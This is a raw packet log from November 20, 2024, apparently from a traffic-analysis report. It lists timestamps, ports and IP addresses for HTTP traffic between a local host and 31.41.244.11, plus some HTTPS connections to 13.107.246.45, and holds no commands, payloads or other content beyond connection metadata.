Nov 20, 2024 04:08:12.657221079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657237053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657238007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.657254934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657272100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657295942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.657314062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.664819002 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.666305065 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.666321039 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.666745901 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.666752100 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.688684940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688782930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688797951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688812971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688832045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688858032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688875914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688891888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688893080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.688910007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688939095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.688944101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688961029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688977003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.688990116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.688992023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689012051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689018011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689032078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689034939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689050913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689052105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689071894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689078093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689096928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689106941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689106941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689152002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689160109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689177036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689201117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689209938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689217091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689234018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.689260006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689260006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.689296007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.691232920 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.694545984 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.694555044 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.695056915 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.695063114 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.699774981 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.699899912 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.700006008 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.700045109 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.700105906 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.700149059 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.700149059 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.700191021 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.700218916 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.700982094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701033115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701103926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701173067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701189041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701205015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701231003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701251984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701256037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701272964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701289892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701292992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701292992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701307058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701322079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701322079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701324940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701344013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701348066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701349020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701360941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701380968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701381922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701383114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701400995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701416969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701431990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701448917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701464891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701472998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701483011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701498032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701498985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701519012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701535940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701538086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701554060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701558113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701570988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701587915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701601982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701605082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701622963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701622963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701639891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701643944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701657057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701674938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701683998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701704025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701721907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701785088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701802015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701816082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701860905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701919079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701934099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701950073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701965094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701981068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701997042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.701999903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.701999903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702035904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702054977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702071905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702089071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702095985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702105999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702116966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702122927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702137947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702141047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702162981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702163935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702183962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702208996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702210903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702265978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702302933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702321053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702337980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702354908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702370882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702373981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702387094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.702399015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702418089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.702435017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703216076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703259945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703289986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703335047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703358889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703376055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703392029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703407049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703423023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703425884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703425884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703440905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703480005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703859091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703907967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703907967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.703959942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703974962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.703989983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704006910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704015017 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.704015970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704021931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704040051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704057932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704075098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704090118 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704139948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704195976 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.704210997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704226971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704242945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704262018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704269886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704286098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704291105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704302073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704320908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704334021 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.704334021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704335928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704334021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704361916 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.704389095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704392910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704392910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704392910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704415083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704431057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704453945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704454899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704457998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704476118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704483986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704499960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704515934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704524040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704531908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704536915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704547882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704557896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704565048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704576969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704590082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704597950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704608917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.704621077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704638004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.704655886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.745762110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.745789051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.745805025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.745964050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.745980024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.745980978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.745981932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.745995998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.746017933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.746083021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.746083021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.746083975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.764009953 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.764175892 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.764256954 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.764288902 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.764311075 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.764327049 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.764333963 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.767081976 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.767160892 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.767251968 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.767376900 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.767398119 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.777535915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777561903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777576923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777743101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777760029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777775049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777786016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777792931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777786016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777815104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777839899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777858019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777868032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777868032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777868032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777884007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777904987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777906895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777906895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777921915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777926922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777940989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777947903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777957916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777968884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777975082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777992010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.777995110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.777995110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778016090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778017044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778033018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778034925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778050900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778064013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778069019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778079987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778095961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778095961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778098106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.778115988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.778140068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.789812088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789834976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789870024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789896011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789915085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789915085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.789942026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789948940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.789948940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.789973021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789973974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.789988995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.789993048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790005922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790016890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790024996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790036917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790050030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790055037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790067911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790076017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790095091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790103912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790111065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790112972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790117979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790131092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790136099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790178061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790178061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790185928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790199041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790205956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790224075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790229082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790242910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790257931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790257931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790261030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790277004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790277958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790296078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790297985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790313959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790333033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790333033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790347099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790364027 CET	80	62430	31.41.244.11	192.168.2.4
